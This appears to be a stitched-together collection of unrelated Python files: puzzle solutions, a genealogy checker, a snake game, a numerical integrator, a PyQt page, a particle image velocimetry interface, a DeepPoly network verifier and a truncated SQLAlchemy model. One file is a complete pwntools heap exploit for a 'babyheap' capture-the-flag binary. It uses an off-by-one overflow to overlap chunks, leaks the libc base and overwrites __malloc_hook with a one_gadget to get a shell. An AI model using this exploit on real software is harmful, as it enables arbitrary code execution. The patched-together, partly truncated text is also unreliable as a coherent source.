        res.append(line.strip())

    return res

def isValidPosition(position,maxX, maxY):

    xPosition = position[0]
    yPosition = position[1]

    return (xPosition >=0 and xPosition < maxX and yPosition < maxY and yPosition >= 0)

def findRisk(listOfValues):

    maxY = len(listOfValues)
    maxX = len(listOfValues[0])

    totRisk = 0
    lowPointList = []

    for y in range(len(listOfValues)):
        for x in range(len(listOfValues[y])):

            positions = (x, y+1), (x,y-1), (x-1, y),(x+1,y)
            isLowPoint = True

            for position in positions:
                if isValidPosition(position, maxX, maxY):

                    if int(listOfValues[position[1]][position[0]]) <= int(listOfValues[y][x]):
                        isLowPoint = False

            if (isLowPoint):
                totRisk += int(listOfValues[y][x]) + 1
                lowPointList.append((y,x))

    print(lowPointList)
    print(totRisk)

    #PART 2
    findBassins(lowPointList, listOfValues, maxX, maxY)

def findBassins(lowPointList, listOfValues, maxX, maxY):

    lowPointBassin = {}

    for points in lowPointList:
        yPos = points[0]
        xPos = points[1]
        lowPointBassin[(yPos,xPos)] = []

        isBlocked = False
        toDo = [(yPos,xPos)]
        DoneList = []
        while (not isBlocked):
            print(toDo)
            isBlocked = True
            toRemove = []
            for position in toDo:

                toDoY = position[0]
                toDoX = position[1]

                incrementPosition = (position[0], position[1]+1), (position[0]+1, position[1]+1), (position[0]+1, position[1]), (position[0]+1, position[1]-1), (position[0], position[1]-1), (position[0]-1,position[1]-1), (position[0]-1, position[1]), (position[0]-1, position[1]+1)

                for positionToVerify in incrementPosition:
                    yTemp = positionToVerify[0]
                    xTemp = positionToVerify[1]

                    if isValidPosition((xTemp,yTemp), maxX, maxY) and (yTemp, xTemp) not in lowPointBassin[(yPos,xPos)] and (yTemp,xTemp) not in DoneList and int(listOfValues[yTemp][xTemp]) != 9:
                        #found new part of passin
                        toDo.append((yTemp,xTemp))
                        lowPointBassin[(yPos,xPos)].append((yTemp,xTemp))
                        isBlocked = False

                    else:
                        DoneList.append((yTemp,xTemp))

                toRemove.append(position)

            for elem in toRemove:
                toDo.remove(elem)

    for keys in lowPointBassin.keys():
        print(len(lowPointBassin[keys]))

    print(lowPointBassin)

    print(lowPointBassin)

def main():

    try:
        inputFile = open("Day9/input.txt","r")

    except:
        print('error opening file')

    listOfValues = parseFile(inputFile)
    findRisk(listOfValues)

if __name__ == '__main__':
    main()


"""
US10 Marriage after 14

Author: Philipp Hunold

"""

from datetime import datetime
from dateutil.relativedelta import relativedelta

birthdates = dict()
marriagedates = dict()

def check(families, individuals):

  for index,i in enumerate(individuals):
    tag = i['tag']
    arg = i['arg']

    if tag == 'INDI':
      id = arg
      birthdates[id] = dict()

    if tag == 'BIRT':
      # get date from next line
      date_record = individuals[index + 1]
      date_string = date_record['arg']
      birthdates[id][tag] = datetime.strptime(date_string, "%d %b %Y")

    if tag == 'FAMS':
      birthdates[id][tag] = arg

  for index,i in enumerate(families):
    tag = i['tag']
    arg = i['arg']

    if tag == 'FAM':
      id = arg

    if tag == 'MARR':
      # get date from next line
      date_record = families[index + 1]
      date_string = date_record['arg']
      marriagedates[id] = datetime.strptime(date_string, "%d %b %Y")

  # check for marriage before 14 years of age
  for id,person in birthdates.items():
    # get marriage date
    famid = person.get('FAMS')
    if famid and famid in marriagedates:
      #print('+++++ FAMS',famid, marriagedates.get(famid))
      if relativedelta(marriagedates.get(famid),person.get('BIRT')).years <= 14:
        print('US10 ERROR Marriage after 14')
        print(">>",id,person)


import cs50

input = cs50.get_float("Change owed: ")
while(input < 0):
    print("Change owed: ", end="")
    input = cs50.get_float()

dividend = input
coin = [0.25, 0.1, 0.05, 0.01]
count = []

"""
divident = divisor * quotient + remainder
"""

for i in range(len(coin)):
    remainder = round(dividend % coin[i], 2)
    count.append((int)(round((dividend - remainder) / coin[i], 0)))
    dividend = remainder

print(sum(count[:]))


#coding=utf-8
from pwn import *
a=process("./babyheap")
context.terminal=["tmux","splitw","-h"]
def debug():
    gdb.attach(a,'''
    b *(0x555555554000+0x0000000000013C6)
    b *(0x555555554000+0x000000000001419)
    ''')
#add,free
elf=ELF("./babyheap")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def menu(choice):
    a.recvuntil("> ")
    a.sendline(choice)
def add(size,content):
    menu("M")
    a.recvuntil("> ")
    a.sendline(str(size))
    a.recvuntil("> ")
    a.send(content)
def show(index):
    menu("S")
    a.recvuntil("> ")
    a.sendline(str(index))
def delete(index):
    menu("F")
    a.recvuntil("(Starting from 0) Index:\n> ")
    a.sendline(str(index))

add(0xf8,'\n')#0                     0
add(0xf8,'\n')#1                     0x100
add(0xf8,'A'*120+'\x81\x00')#2       0x200  , 0x81 is fake_size, to bypass free's check

delete(0)
add(0xf8,'\x81'*0xf9+'\n')#0 offbyone , chunk1 size 0x100 ==> 0x180
for i in range(7):
    add(0x100,'\n')
for i in range(3,10):
    delete(i)

delete(0)
delete(1)
for i in range(7):
    add(0x100,'\n') # 0 1 3 4 5 6 7 ，clear tcache to split unsorted chunk in unsorted bin

add(0x178,'A'*8+'\n')#8  , chunk_overlap
show(8)
a.recvuntil("A"*8)
libc_base = u64(a.recvuntil("\n",drop=True).ljust(8,'\x00'))-96-libc.symbols["__malloc_hook"]-0x10
success("libc_base ==> 0x%x"%libc_base)

delete(2)
delete(8)

free_hook=libc_base+libc.symbols["__free_hook"]
malloc_hook=libc_base+libc.symbols["__malloc_hook"]
system_addr=libc_base+libc.symbols["system"]
one_gadget=libc_base+0x10a38c

payload='A'*0x100+p64(malloc_hook)[:6]+'\n'
add(0x178,payload)#2

add(0xf8,'/bin/sh\x00')#8
add(0xf8,p64(one_gadget)[:6]+'\n')

delete(2)
menu("M")
a.recvuntil("> ")
a.sendline(str(30))

a.interactive()


#!/usr/bin/python3
"""vector correlation
covariance normalized to a score between -1 and 1"""
from numpy import corrcoef
import numpy as np

x = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9])
print(x)
y = np.array([9, 8, 7, 6, 5, 4, 3, 2, 1])
print(y)
#calculate correlation
corr = corrcoef(x, y)[0, 1]
print(corr)


import pygame

class Snake:
    """ Create a snake with initial starting position """
    def __init__(self, x_pos, y_pos,
                 game_display, snake_color_1,
                 snake_color_2, border_color):
        self.x_pos = x_pos
        self.y_pos = y_pos
        self.game_display = game_display
        self.snake_color_1 = snake_color_1
        self.snake_color_2 = snake_color_2
        self.border_color = border_color
        self.POS_CHANGE = 20
        self.reset()

    def reset(self):
        """ Reset snake to initial state """
        self.body = [[int(self.x_pos/2), int(self.y_pos/2)]]  # initial snake starts at center of screen
        self.direction = "UP"
        self.length = 1
        self.alive = True
        self.speed = 10

    def get_body(self):
        return self.body

    def get_head(self):
        return self.body[0]

    def move(self):
        """ Moves the snake based on current direction """
        piece = []
        if self.direction == "UP":
            piece = [self.body[0][0], self.body[0][1] - self.POS_CHANGE]  # create piece at new coordinates
        elif self.direction == "DOWN":
            piece = [self.body[0][0], self.body[0][1] + self.POS_CHANGE]
        elif self.direction == "LEFT":
            piece = [self.body[0][0] - self.POS_CHANGE, self.body[0][1]]
        elif self.direction == "RIGHT":
            piece = [self.body[0][0] + self.POS_CHANGE, self.body[0][1]]

        if piece:
            if piece in self.body:  # Lose game if snake touches itself
                self.alive = False
            else:
                self.body.insert(0, piece)  # insert new piece at head of snake
                if len(self.body) > self.length:
                    self.body.pop()   # delete last piece of snake, if length isnt increased

        self.draw_snake()

    def draw_snake(self):
        """ Draws the snake to the screen """
        snake_body = self.get_body()
        for pos in snake_body:  # draw entire snake
            p = pygame.Rect(pos[0], pos[1], 20, 20)
            if snake_body.index(pos) % 3 == 0:  # every third section is black, others are yellow
                pygame.draw.rect(self.game_display, self.snake_color_1, p)
            else:
                pygame.draw.rect(self.game_display, self.snake_color_2, p)


import numpy as np
import matplotlib.pyplot as pl

def f(y):
    v = np.array([y[1], (-9.81/0.6) * np.sin(y[0])])
    return v

def rk():
    g = 9.81
    l = 0.6
    y = np.array([(3/4)*np.pi, 0])
    t = 0
    t_series = [t]
    y_series = [(3/4)*np.pi]
    while t <= 10:
        # compute theta'(t_(i+1))
        k_1 = y
        k_2 = y + 0.01*0.5*f(k_1)
        k_3 = y + 0.01*(-f(k_1)+2*f(k_2))

        y = y + 0.01 * (f(k_1)+4*f(k_2)+f(k_3))/6
        y_series.append(y[0])

        t += 0.01
        t_series.append(t)

    pl.plot(t_series, y_series)
    pl.show()
    print(y)

print(np.sin((3/4)*np.pi))
rk()


# Module:   gui.TypePage.py | [ Language Python ]
# Author:   Gaps | sGaps | ArtGaps
# LICENSE:  GPLv3 (available in ./LICENSE.txt)
# -----------------------------------------------
"""
    Defines the Type page of the Smart Menu.

    [:] Defined in this module
    --------------------------
    TypePage :: class
        Allows user to choose between quick or custom mode.

    [*] Author
     |- Gaps : sGaps : ArtGaps
"""
from os                 import path
from .MenuPage          import AlternativePage , ColorIconButton , TextBesideIcon
from PyQt5.QtCore       import pyqtSlot , pyqtSignal , Qt
from PyQt5.QtWidgets    import QPushButton , QToolButton , QWidget , QVBoxLayout , QSizePolicy
from PyQt5.QtGui        import QFont , QIcon

class TypePage( AlternativePage ):
    CDIR         = path.dirname( path.abspath(__file__) )
    CUSTOM       = f"{CDIR}/images/custom.svg"
    QUICK        = f"{CDIR}/images/quick.svg"

    WCUSTOM      = f"{CDIR}/images/w_custom.svg"
    WQUICK       = f"{CDIR}/images/w_quick.svg"
    type_changed = pyqtSignal( bool )

    def __init__( self , backP = None , nextP = None , parent = None ):
        super().__init__( backP    = backP  ,
                          nextP    = nextP  ,
                          parent   = parent ,
                          subTitle = "Step 3: Which method would you like?" )
        # Toggle
        self.is_quick = True

        # Middle (Both Buttons)
        self.quick  = ColorIconButton( "Quick"   , True , TypePage.QUICK  , TypePage.WQUICK  , icon_size = (92,92) )
        self.custom = ColorIconButton( "Custom " , True , TypePage.CUSTOM , TypePage.WCUSTOM , icon_size = (92,92) )

        self.bottom = QWidget()
        self.bottom.setSizePolicy( QSizePolicy.Expanding , QSizePolicy.Expanding )
        self.sublyt = QVBoxLayout( self.bottom )
        self.sublyt.addWidget( self.custom )
        self.sublyt.addWidget( self.quick  )

        # Layout Setup:
        self.layout.addWidget( self.bottom )

        # Connections:
        self.quick.released.connect ( self.press_quick  )
        self.custom.released.connect( self.press_custom )
        self.press_quick()

    @pyqtSlot()
    def press_quick( self ):
        # Visual
        self.quick.setChecked ( True  )
        self.custom.setChecked( False )
        # Logical
        self.is_quick = True
        self.type_changed.emit( self.is_quick )

    @pyqtSlot()
    def press_custom( self ):
        # Visual
        self.custom.setChecked( True  )
        self.quick.setChecked ( False )
        # Logical
        self.is_quick = False
        self.type_changed.emit( self.is_quick )

    @pyqtSlot( bool )
    def serve_negated_alternative_request( self , to_alternative ):
        if (not to_alternative) != self.isAlt:
            self.useAlternative()

    def getData( self ):
        return { "is-quick" : self.is_quick }


import sys
sys.setrecursionlimit(10**6)
input = sys.stdin.readline

def gcd(x, y):
    if x == 0:
        return y
    return gcd(y%x, x)

t =  int(input())
d = [int(input()) for _ in range(t)]
d.sort()
r = []
for i in range(t-1):
    a = d[i+1] - d[i]
    r.append(a)
b = r[0]
for i in range(len(r)):
    c = gcd(b, r[i])
    if c < b:
        b = c
cnt = 0
for i in r:
    cnt += i//b-1

print(cnt)


import asyncio
import aiohttp
import contextlib
import time

@contextlib.asynccontextmanager
def timed():
    start = time.time()
    yield
    end = time.time()
    print(">>>>", end-start, " <<<<<<")

async def main():
    for i in range(2):
        await get_web_page()

async def get_web_page():
    asyncio.sleep(1)
    # url = 'http://santa.fridaygodswill.com/'
    # async with aiohttp.ClientSession() as session:
    #     async with session.get(url) as response:
    #         html = await response.text()
    #         return html

start = time.time()
h = asyncio.run(main())
end = time.time()
print(">>>>", end-start, " <<<<")
# import ipdb; ipdb.set_trace()


"""Uvmat interface (:mod:`fluidimage.run_from_xml`)
===================================================

From matlab, something like::

  system(['python -m fluidimage.run_from_xml ' path_to_instructions_xml])

.. todo::

   UVmat civserie: input and output.

"""

import argparse
import os
from time import time

import numpy as np
import scipy

from fluiddyn.util import import_class
from fluiddyn.util.paramcontainer import tidy_container
from fluidimage.topologies.piv import TopologyPIV

from . import (
    ParamContainer,
    SerieOfArraysFromFiles,
    config_logging,
    logger,
    reset_logger,
)

def tidy_uvmat_instructions(params):
    params._set_internal_attr("_tag", "instructions_uvmat")

    # get nicer names and a simpler organization...
    tidy_container(params)

    params.input_table = input_table = params.input_table.split(" & ")
    for i in range(1, len(input_table)):
        if input_table[i].startswith("/"):
            input_table[i] = input_table[i][1:]

    filename = "".join(input_table[2:])
    path_dir = os.path.join(*input_table[:2])
    path_file_input = os.path.abspath(os.path.join(path_dir, filename))
    path_dir_input = path_dir
    params._set_attrib("path_dir_input", path_dir_input)
    params._set_attrib("path_file_input", path_file_input)

    params._set_attrib("path_dir_output", path_dir_input + params.output_dir_ext)

    ir = params.index_range
    if not hasattr(ir, "incr_i"):
        ir._set_attrib("incr_i", 1)

    if not hasattr(ir, "first_i"):
        print("Warning: no attribute first_i in xml UVmat file.")
        ir._set_attrib("first_i", 1)

    if not hasattr(ir, "last_i"):
        print("Warning: no attribute last_i in xml UVmat file.")
        ir._set_attrib("last_i", None)

    if not hasattr(ir, "first_j"):
        strcouple = f"i:i+{ir.incr_i + 1}:{ir.incr_i}"
        ind_start = ir.first_i

        if ir.last_i is None:
            ind_stop = None
        else:
            ind_stop = ir.last_i - ir.incr_i + 1
    else:
        raise NotImplementedError

    params._set_attrib("strcouple", strcouple)
    params._set_attrib("ind_stop", ind_stop)
    params._set_attrib("ind_start", ind_start)

class ActionBase:
    def __init__(self, instructions, args):
        self.instructions = instructions

        # create the serie of arrays
        logger.info("Create the serie of arrays")
        self.serie_arrays = SerieOfArraysFromFiles(
            path=instructions.path_dir_input,
            index_slices=instructions.index_slices,
        )

class ActionAverage(ActionBase):
    """Compute the average and save as a png file."""

    def compute(self):
        instructions = self.instructions
        serie = self.serie_arrays
        # compute the average
        logger.info("Compute the average")
        a = serie.get_array_from_index(0)
        mean = np.zeros_like(a, dtype=np.float32)
        nb_fields = 0
        for a in serie.iter_arrays():
            mean += a
            nb_fields += 1
        mean /= nb_fields

        strindices_first_file = serie._compute_strindices_from_indices(
            *[indices[0] for indices in instructions.index_slices]
        )
        strindices_last_file = serie._compute_strindices_from_indices(
            *[indices[1] - 1 for indices in instructions.index_slices]
        )

        name_file = (
            serie.base_name
            + serie._separator_base_index
            + strindices_first_file
            + "-"
            + strindices_last_file
            + "."
            + serie.extension_file
        )

        path_save = os.path.join(instructions.path_dir_output, name_file)
        logger.info("Save in file:\n%s", path_save)
        scipy.misc.imsave(path_save, mean)
        return mean

def params_piv_from_uvmat_xml(instructions, args):
    params = TopologyPIV.create_default_params()

    params.series.path = instructions.path_file_input

    params.series.strcouple = instructions.strcouple
    params.series.ind_stop = instructions.ind_stop
    params.series.ind_start = instructions.ind_start

    params.saving.path = instructions.path_dir_output

    n0 = int(instructions.action_input.civ1.search_box_size.split("\t")[0])
    if n0 % 2 == 1:
        n0 -= 1

    params.piv0.shape_crop_im0 = n0

    if hasattr(instructions.action_input, "patch2"):
        params.multipass.subdom_size = (
            instructions.action_input.patch2.sub_domain_size
        )
    else:
        params.multipass.use_tps = False

    if hasattr(instructions.action_input, "civ2"):
        params.multipass.number = 2

    modif_fluidimage_params(params, args)

    return params

class ActionPIV(ActionBase):
    """Compute the average and save as a png file."""

    def __init__(self, instructions, args):
        self.instructions = instructions
        self.params = params_piv_from_uvmat_xml(instructions, args)
        logger.info("Initialize fluidimage computations with parameters:")
        logger.info(self.params._make_xml_text())
        self.topology = TopologyPIV(self.params)

    def compute(self):
        t = time()
        self.topology.compute(sequential=False)
        t = time() - t
        print(f"ellapsed time: {t}s")

actions_classes = {"aver_stat": ActionAverage, "civ_series": ActionPIV}

programs = ["uvmat", "fluidimage"]

def parse_args():
    parser = argparse.ArgumentParser(
        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument("path", help="Path file.", type=str, nargs="?")
    parser.add_argument(
        "-m",
        "--mode",
        help="‘ask’, ‘new_dir’, ‘complete’ or ‘recompute’.",
        type=str,
        default="ask",
    )

    return parser.parse_args()

def modif_fluidimage_params(params, args):
    try:
        params.saving.how = args.mode
    except AttributeError:
        pass

def main():

    reset_logger()
    config_logging("info")

    args = parse_args()

    path_instructions_xml = args.path
    logger.info(
        "\nFrom Python, start with instructions in xml file:\n%s",
        path_instructions_xml,
    )

    params = ParamContainer(path_file=path_instructions_xml)

    program = None

    try:
        params.Action.ActionName
    except AttributeError:
        pass
    else:
        program = "uvmat"

    try:
        program = params._value_text["program"]
    except (AttributeError, KeyError):
        pass

    if program not in programs:
        raise ValueError("Can not detect the program to launch.")

    print(args)

    print(f"using input file from {program}")

    if program == "uvmat":
        tidy_uvmat_instructions(params)
        action_name = params.action.action_name
        logger.info(
            'Check if the action "%s" is implemented by FluidImage', action_name
        )
        if action_name not in actions_classes.keys():
            raise NotImplementedError(
                'action "' + action_name + '" is not yet implemented.'
            )

        cls = actions_classes[action_name]
        action = cls(params, args)

    elif program == "fluidimage":
        cls = import_class(
            params._value_text["module"], params._value_text["class"]
        )
        modif_fluidimage_params(params, args)
        action = cls(params)

    return action.compute()

if __name__ == "__main__":

    result = main()


import torch.nn as nn
import torch

class DeepPoly:

    def __init__(self, net, back_sub_steps=0):
        self.net = net
        self.back_sub_steps = back_sub_steps

        self.device = net.device

        self._build_network_transformer()
        self._build_subnetwork_transformer()

    def _build_network_transformer(self):
        last = InputTransformer(self.net.input_shape).to(self.device)
        self.layers = [last]
        idx = 0
        for layer in self.net.layers:
            if isinstance(layer, nn.Linear):
                last = LinearTransformer(layer, last=last, back_sub_steps=self.back_sub_steps, idx=idx).to(self.device)
            elif isinstance(layer, nn.ReLU):
                last = ReLUTransformer(last=last, back_sub_steps=self.back_sub_steps, idx=idx, kwargs=self.net.layers_mapping).to(self.device)
                idx += 1
            elif isinstance(layer, nn.Flatten):
                last = FlattenTransformer(last=last, idx=idx).to(self.device)
            else:
                print(layer)
                raise NotImplementedError
            self.layers += [last]

    def _build_subnetwork_transformer(self):
        self.forward_from_layer = {k: [InputHiddenTransformer(sub_id=k)] for k in self.net.layers_mapping.keys()}

        for k in self.forward_from_layer:
            idx = 0
            for layer in self.net.layers:
                last = self.forward_from_layer[k][-1]
                if isinstance(layer, nn.Linear):
                    last = LinearTransformer(layer, last=last, back_sub_steps=self.back_sub_steps, idx=idx, sub_id=k).to(self.device)
                elif isinstance(layer, nn.ReLU):
                    last = ReLUTransformer(last=last, back_sub_steps=self.back_sub_steps, idx=idx, sub_id=k, kwargs=self.net.layers_mapping).to(self.device)
                    idx += 1
                elif isinstance(layer, nn.Flatten):
                    last = FlattenTransformer(last=last, idx=idx, sub_id=k).to(self.device)
                else:
                    print(layer)
                    raise NotImplementedError

                if k < idx:
                    self.forward_from_layer[k] += [last]

        # for k, v in self.forward_from_layer.items():
        #     print(k, end=' ')
        #     for _ in v:
        #         print(_, end=' -> ')
        #     print('out')

        # exit()

    @torch.no_grad()
    def forward_layer(self, lower, upper, layer_id, assignment=None):
        bounds = (lower, upper)
        hidden_bounds = []
        for layer in self.forward_from_layer[layer_id]:
            # print(layer, layer.last)
            if isinstance(layer, ReLUTransformer):
                hidden_bounds.append((bounds[0].squeeze(), bounds[1].squeeze()))

            bounds, _ = layer(bounds, assignment)
            # print('weight', layer.weight if hasattr(layer, 'weight') else None)
            # print('\t', bounds[0])
            # print('\t', bounds[1])
        #     print(layer, end=' -> ')
        # print('out')
        return (bounds[0], bounds[1]), hidden_bounds

        # exit()

    @torch.no_grad()
    def __call__(self, lower, upper, assignment=None, return_params=False):
        bounds = (lower, upper)
        hidden_bounds = []
        hidden_params = []
        for layer in self.layers:
            # print(layer)
            if isinstance(layer, ReLUTransformer):
                hidden_bounds.append((bounds[0].squeeze(), bounds[1].squeeze()))

            bounds, params = layer(bounds, assignment)
            # print(layer)
            # print('weight', layer.weight if hasattr(layer, 'weight') else None)
            # print('\t', bounds[0])
            # print('\t', bounds[1])
            assert torch.all(bounds[0] <= bounds[1]), layer

            if params is not None:
                hidden_params.append(params)
        if return_params:
            return (bounds[0], bounds[1]), hidden_bounds, hidden_params
        return (bounds[0], bounds[1]), hidden_bounds

    def get_params(self):
        return self.layers[-1].params

class InputTransformer(nn.Module):

    def __init__(self, input_shape, last=None):
        super(InputTransformer, self).__init__()
        self.last = last
        self.input_shape = input_shape

    def forward(self, bounds, assignment):
        self.bounds = torch.stack([bounds[0].view(self.input_shape[1:]), bounds[1].view(self.input_shape[1:])], 0).squeeze()
        return self.bounds, None

    def __str__(self):
        return 'Input'

class InputHiddenTransformer(nn.Module):

    def __init__(self, sub_id=None, last=None):
        super(InputHiddenTransformer, self).__init__()
        self.last = last
        self.sub_id = sub_id

    def forward(self, bounds, assignment):
        self.bounds = torch.stack([bounds[0], bounds[1]], 0).squeeze()
        return self.bounds, None

    def __str__(self):
        return f'[{self.sub_id}] Input Hidden'

class LinearTransformer(nn.Module):

    def __init__(self, layer, last=None, back_sub_steps=0, idx=None, sub_id=None):
        super(LinearTransformer, self).__init__()

        self.weight = layer.weight
        self.bias = layer.bias

        self.last = last
        self.back_sub_steps = back_sub_steps
        self.W_plus = torch.clamp(self.weight, min=0.)
        self.W_minus = torch.clamp(self.weight, max=0.)
        self.sub_id = sub_id
        self.idx = idx
        self.params = None

    def forward(self, bounds, assignment):
        upper = self.W_plus @ bounds[1] + self.W_minus @ bounds[0]
        lower = self.W_plus @ bounds[0] + self.W_minus @ bounds[1]
        self.bounds = torch.stack([lower, upper], 0) + self.bias.view(1, -1)
        if self.back_sub_steps > 0:
            self.back_sub(self.back_sub_steps)
        return self.bounds, self.params

    def back_sub(self, max_steps):
        new_bounds, new_params = self._back_sub(max_steps)
        new_bounds = new_bounds.reshape(self.bounds.shape)
        indl = new_bounds[0] > self.bounds[0]
        indu = new_bounds[1] < self.bounds[1]
        self.bounds[0, indl] = new_bounds[0, indl]
        self.bounds[1, indu] = new_bounds[1, indu]
        self.params = new_params

    def _back_sub(self, max_steps, params=None):
        # print('_back_sub', self, '--->', self.last)
        if params is None:
            params = self.weight.data, self.weight.data, self.bias.data, self.bias.data

        Ml, Mu, bl, bu = params

        if max_steps > 0 and self.last.last is not None:
            if self.last.beta is not None:
                Mlnew = torch.clamp(Ml, min=0) * self.last.beta + torch.clamp(Ml, max=0) * self.last.lmbda
                Munew = torch.clamp(Mu, min=0) * self.last.lmbda + torch.clamp(Mu, max=0) * self.last.beta
                blnew = bl + torch.clamp(Ml, max=0) @ self.last.mu
                bunew = bu + torch.clamp(Mu, min=0) @ self.last.mu
                return self.last._back_sub(max_steps-1, params=(Mlnew, Munew, blnew, bunew))
            else:
                return self.last._back_sub(max_steps-1, params=params)
        else:
            # print(Ml.shape)
            # print(self.last.bounds[0].shape)
            lower = torch.clamp(Ml, min=0) @ self.last.bounds[0] + torch.clamp(Ml, max=0) @ self.last.bounds[1] + bl
            upper = torch.clamp(Mu, min=0) @ self.last.bounds[1] + torch.clamp(Mu, max=0) @ self.last.bounds[0] + bu
            return torch.stack([lower, upper], 0), params

    def __str__(self):
        return f'[{self.sub_id}] Linear {self.idx}'

class ReLUTransformer(nn.Module):

    def __init__(self, last=None, back_sub_steps=0, idx=None, sub_id=None, kwargs=None):
        super(ReLUTransformer, self).__init__()
        self.last = last
        self.back_sub_steps = back_sub_steps
        self.last_conv_flag = False #isinstance(self.last, Conv2dTransformer)

        self.sub_id = sub_id
        self.idx = idx

        self.layers_mapping = kwargs
        self.params = None

    def forward(self, bounds, assignment):
        device = bounds.device
        ind2 = bounds[0] >= 0
        ind3 = (bounds[1] > 0) * (bounds[0] < 0)
        ind4 = (bounds[1] > -bounds[0]) * ind3

        self.bounds = torch.zeros_like(bounds, device=device)
        self.bounds[1, ind3] = bounds[1, ind3]
        self.bounds[:, ind4] = bounds[:, ind4]
        self.lmbda = torch.zeros_like(bounds[1], device=device)
        self.beta = torch.zeros_like(bounds[1], device=device)
        self.mu = torch.zeros_like(bounds[1], device=device)
        self.lmbda[ind2] = torch.ones_like(self.lmbda[ind2], device=device)

        diff = bounds[1, ind3] - bounds[0, ind3]
        self.lmbda[ind3] = torch.div(bounds[1, ind3], diff)
        self.beta[ind4] = torch.ones_like(self.beta[ind4])
        self.mu[ind3] = torch.div(-bounds[0, ind3] * bounds[1, ind3], diff)
        self.bounds[:, ind2] = bounds[:, ind2]
        self.beta[ind2] = torch.ones_like(self.beta[ind2], device=device)
        if assignment is not None:
            la = torch.Tensor([assignment.get(i, 2) for i in self.layers_mapping[self.idx]]).view(self.lmbda.shape)
            active_ind = la==True
            inactive_ind = la==False

            self.lmbda[active_ind] = torch.ones_like(self.lmbda[active_ind], device=device)
            self.beta[active_ind] = torch.zeros_like(self.beta[active_ind], device=device)
            self.mu[active_ind] = torch.zeros_like(self.mu[active_ind], device=device)

            self.lmbda[inactive_ind] = torch.zeros_like(self.lmbda[inactive_ind], device=device)
            self.beta[inactive_ind] = torch.zeros_like(self.beta[inactive_ind], device=device)
            self.mu[inactive_ind] = torch.zeros_like(self.mu[inactive_ind], device=device)

            self.bounds[:, inactive_ind] = torch.zeros_like(self.bounds[:, inactive_ind], device=device)

        if self.back_sub_steps > 0:
            self.back_sub(self.back_sub_steps)
        return self.bounds, None

    def __str__(self):
        return f'[{self.sub_id}] Relu {self.idx}'

    def back_sub(self, max_steps):
        new_bounds, new_params = self._back_sub(max_steps)
        new_bounds = new_bounds.reshape(self.bounds.shape)
        indl = new_bounds[0] > self.bounds[0]
        indu = new_bounds[1] < self.bounds[1]
        self.bounds[0, indl] = new_bounds[0, indl]
        self.bounds[1, indu] = new_bounds[1, indu]
        # self.params = new_params

    def _back_sub(self, max_steps, params=None):
        # print('_back_sub', self, '--->', self.last)
        if self.last_conv_flag:
            if params is None:
                params = torch.diag(self.beta.flatten()), torch.diag(self.lmbda.flatten()), torch.zeros_like(self.mu).flatten(), self.mu.flatten()
            Ml, Mu, bl, bu = params
            if max_steps > 0 and self.last.last is not None:
                Mlnew = Ml @ self.last.weights_backsub
                Munew = Mu @ self.last.weights_backsub
                blnew = bl + (Ml @ self.last.bias_backsub).flatten()
                bunew = bu + (Mu @ self.last.bias_backsub).flatten()
                return self.last._back_sub(max_steps-1, params=(Mlnew, Munew, blnew, bunew))
            else:
                lower = (torch.clamp(Ml, min=0) @ self.last.bounds[0].flatten() + torch.clamp(Ml, max=0) @ self.last.bounds[1].flatten()) + bl
                upper = (torch.clamp(Mu, min=0) @ self.last.bounds[1].flatten() + torch.clamp(Mu, max=0) @ self.last.bounds[0].flatten()) + bu
                return torch.cat([lower, upper], 0), params
        else:
            if params is None:
                device = self.beta.device
                params = torch.diag(self.beta), torch.diag(self.lmbda), torch.zeros_like(self.mu, device=device), self.mu
            Ml, Mu, bl, bu = params

            if max_steps > 0 and self.last.last is not None:
                Mlnew = Ml @ self.last.weight
                Munew = Mu @ self.last.weight
                blnew = bl + Ml @ self.last.bias
                bunew = bu + Mu @ self.last.bias
                return self.last._back_sub(max_steps-1, params=(Mlnew, Munew, blnew, bunew))
            else:
                lower = torch.clamp(Ml, min=0) @ self.last.bounds[0] + torch.clamp(Ml, max=0) @ self.last.bounds[1] + bl
                upper = torch.clamp(Mu, min=0) @ self.last.bounds[1] + torch.clamp(Mu, max=0) @ self.last.bounds[0] + bu
                # lower = Ml @ self.last.bounds[0] + bl
                # upper = Mu @ self.last.bounds[1] + bu
                return torch.stack([lower, upper], 0), params

class FlattenTransformer(nn.Module):
    def __init__(self, last=None, idx=None, sub_id=None):
        super(FlattenTransformer, self).__init__()
        self.last = last
        self.sub_id = sub_id
        self.idx = idx

    def forward(self, bounds, assignment):
        b = torch.stack([bounds[0].flatten(), bounds[1].flatten()], 0)
        return b, None

    def _back_sub(self, max_steps, params=None):
        # print('_back_sub', self, '--->', self.last)
        Ml, Mu, bl, bu = params
        if self.last.last is not None:
            bounds, params = self.last._back_sub(max_steps, params=params)
        else:
            lower = (torch.clamp(Ml, min=0) @ self.last.bounds[0].flatten() + torch.clamp(Ml, max=0) @ self.last.bounds[1].flatten()).flatten() + bl
            upper = (torch.clamp(Mu, min=0) @ self.last.bounds[1].flatten() + torch.clamp(Mu, max=0) @ self.last.bounds[0].flatten()).flatten() + bu
            bounds = torch.stack([lower, upper], 0)
        return bounds, params

    @property
    def beta(self):
        if hasattr(self.last, 'beta'):
            return self.last.beta.flatten()
        return None

    @property
    def mu(self):
        if hasattr(self.last, 'mu'):
            return self.last.mu.flatten()
        return None

    @property
    def lmbda(self):
        if hasattr(self.last, 'lmbda'):
            return self.last.lmbda.flatten()
        return None

    @property
    def bounds(self):
        return self.last.bounds

    def __str__(self):
        return f'[{self.sub_id}] Flatten {self.idx}'


"""
Models for "project parameters" package.
"""

from sqlalchemy import func, Index

from app import db
from app.base.models import BaseModel
# related model imports done in toolkit/__init__

class ProjectParameter(BaseModel):

    __tablename__ = 'project_parameter'

    created_by = db.Column(db.BigInteger, db.ForeignKey(
        'user.id', name='project_parameter_created_by_fkey'), nullable=False)
    updated_by = db.Column(db.BigInteger, db.ForeignKey(
        'user.id', name='project_parameter_updated_by_fkey'), nullable=False)

    # account id of the project
    account_id = db.Column(db.BigInteger, db.ForeignKey(
        'account.id', name='project_parameter_account_id_fkey'),
        nullable=False)
    project_id = db.Column(db.BigInteger, db.ForeignKey(
        'project.id', name='project_parameter_project_id_fkey',
        ondelete='CASCADE'), nullable=False)
    parent_parameter_name = db.Column(db.String(256), nullable=False)
    parameter_name = db.Column(db.String(256), nullable=False)
    parameter_value = db.Column(db.String(256))
    started_at = db.Column(db.DateTime)
    ended_at = db.Column(db.DateTime)
    level = db.Column(db.Integer, default=1)

    # multi column
